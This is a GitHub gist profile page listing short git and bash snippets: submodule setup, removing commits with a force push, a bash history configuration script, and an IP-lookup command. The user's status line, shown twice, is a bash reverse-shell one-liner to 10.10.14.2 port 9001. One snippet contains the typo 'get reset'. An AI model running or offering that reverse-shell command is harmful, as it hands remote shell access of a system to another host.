Skip to content

Instantly share code, notes, and snippets.

View thomaslaurenson's full-sized avatar
⚠️
bash -i >& /dev/tcp/10.10.14.2/9001 0>&1

Thomas Laurenson thomaslaurenson

⚠️
bash -i >& /dev/tcp/10.10.14.2/9001 0>&1
View GitHub Profile
# Make sure you are in the repo directory
cd <somewhere>
# Add the external repository as a submodule
git submodule add <address_of_submodule_repo>
# Make sure to initialize it and update (when required)
git submodule init
git submodule update
@thomaslaurenson
thomaslaurenson / remove_last_commit
Last active June 19, 2018 19:27
Remove the last commit to a specifc git repository
# Remove last commit (completely)
git reset --hard HEAD~1
# Remove specific commit (completely)
get reset <commit_hash>
# Now push with force!
git push --force
# Custom history configuration
# Run script using:
# chmod u+x better_history.sh
# sudo su
# ./better_history.sh
echo ">>> Starting"
echo ">>> Loading configuration into /etc/bash.bashrc"
echo "HISTTIMEFORMAT='%F %T '" >> /etc/bash.bashrc
echo 'HISTFILESIZE=-1' >> /etc/bash.bashrc
# Fetch the NIC name (e.g., eth0, ens33)
NIC=$(ifconfig -a | sed 's/[ \t].*//;/^\(lo\|\)$/d')
# Print the IP address of the NIC
ifconfig $NIC | awk '/t addr:/{gsub(/.*:/,"",$2);print$2}'